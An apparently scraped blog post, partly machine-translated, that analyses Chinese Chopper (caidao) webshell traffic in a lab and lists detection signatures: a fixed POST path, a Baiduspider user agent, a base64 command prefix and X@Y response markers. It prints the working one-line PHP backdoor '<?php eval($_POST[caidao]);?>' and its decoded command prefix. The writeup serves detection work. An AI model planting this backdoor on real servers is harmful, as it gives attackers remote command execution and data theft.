当前位置:网站首页>Chopper webshell feature analysis
Chopper webshell feature analysis
2022-08-02 02:16:00 【sec0nd_】
前言
Webshell是hackerA malicious script that is often used,其目的是获得对服务器的执行操作权限,比如执行系统命令、窃取用户数据、删除web页面、修改主页等,其危害不言而喻.
hackerCommon vulnerabilities are usually exploited,如SQL注入、远程文件包含(RFI)、FTP,甚至使用跨站点脚本攻击(XSS)等方式作为社会工程攻击的一部分,最终达到控制网站服务器的目的.
有个想法,Check out how his tool works,Then analyze the characteristics of the kitchen knife.The most I use is a kitchen knife,Ant Sword cannot be installed,There will be an opportunity to re-analyze later.
环境
virtual machine usedphpstudy搭建的网站,and use it in a virtual machinewiresharkCapture traffic packets.
The physical machine uses a Chinese kitchen knife:https://github.com/raddyfiy/caidao-official-version
上传webshell并连接
一句话木马:
<?php eval($_POST[caidao]);?>
通过某种途径,A sentence Trojan was uploaded to the root domain name of the website

Then inside the kitchen knife tool,添加一个新的shell连接,密码caidao
同时也开启wireshark进行抓包,为了更直观的分析,对ip进行了过滤,Only look with physical machines(192.168.80.1) 的通信
成功连接到webshell
翻看一下目录
执行系统命令
Uploaded a test text
分析流量
I have uploaded the captured packets to csdn,详细见:https://download.csdn.net/download/weixin_52444045/86269653
特征一:
All requests are consistent,方式为POST,路径为webshell的url地址.
我的是POST /123.php
特征二:
In the request header initiated by the kitchen knife tool,默认的UAFor Baidu's crawler Baiduspider
Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)

But this thing is possiblecaidao.confmodified inside,Still be careful
特征三
This is the most important feature,If the request packet contains the following information,那么99%That's where the kitchen knife is connected toshell了
QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtpZihQSFBfVkVSU0lPTjwnNS4zLjAnKXtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO307ZWNobygiWEBZIik7J

in all request packets,in the content of the request body,keyThe value is the connection chopperwebshell的密码,The latter value is usedbase64进行了加密,Here are some values for analysis
The circled one can be usedbase64decoded,The prefix is the same in every request,Be sure to pay attention to this prefix!!
QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtpZihQSFBfVkVSU0lPTjwnNS4zLjAnKXtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO307ZWNobygiWEBZIik7J
After decoding it is below:
@ini_set("display_errors","0");@set_time_limit(0);if(PHP_VERSION<'5.3.0'){@set_magic_quotes_runtime(0);};echo("[email protected]");

特征四
in each return packet,结果是用[email protected] include

By returning the package, you can intuitively determine what operation is done.
个人理解
The principle of graphics operations to perform some operations is,利用php、asp、jspfunction to complete the operation.
found latercaidao.conf文件里面,There are functions that write each operation
The following compares a captured traffic packet with the code

You can see that this is the operation of uploading files
可以看出规律:
The code to perform the corresponding operation is
@ini_set("display_errors","0");@set_time_limit(0);if(PHP_VERSION<'5.3.0'){@set_magic_quotes_runtime(0);};echo("[email protected]");+The function code for the corresponding operation+;echo("[email protected]");die();
然后通过base64编码,into the request body.So the prefix is fixed,See Feature 3 for details.
By analyzing the captured traffic packets,Every request packet can be decrypted and found out what the operation is
边栏推荐
猜你喜欢

ofstream,ifstream,fstream read and write files

Fundamentals of Cryptography: X.690 and Corresponding BER CER DER Encodings

Redis 订阅与 Redis Stream

nacos启动报错,已配置数据库,单机启动

Pinduoduo leverages the consumer expo to promote the upgrading of domestic agricultural products brands and keep pace with international high-quality agricultural products

垃圾回收器CMS和G1

Yunhe Enmo: Let the value of the commercial database era continue to prosper in the openGauss ecosystem

密码学的基础:X.690和对应的BER CER DER编码

检查IP或端口是否被封

"NetEase Internship" Weekly Diary (3)
随机推荐
2022-08-01 反思
LeetCode 213. Robbery II (2022.08.01)
2022-07-30 mysql8 executes slow SQL-Q17 analysis
LeetCode brush diary: LCP 03. Machine's adventure
优炫数据库导库导错了能恢复吗?
密码学的基础:X.690和对应的BER CER DER编码
AI目标分割能力,无需绿幕即可实现快速视频抠图
[ORB_SLAM2] SetPose, UpdatePoseMatrices
Redis 订阅与 Redis Stream
Force buckle, 752-open turntable lock
NIO's Sword
2022-08-01 mysql/stoonedb慢SQL-Q18分析
MySQL8 下载、启动、配置、验证
数据链路层的数据传输
求大神解答,这种 sql 应该怎么写?
ofstream,ifstream,fstream read and write files
Check if IP or port is blocked
ALCCIKERS Shane 20191114
2022河南青训联赛第(三)场
永磁同步电机36问(二)——机械量与电物理量如何转化?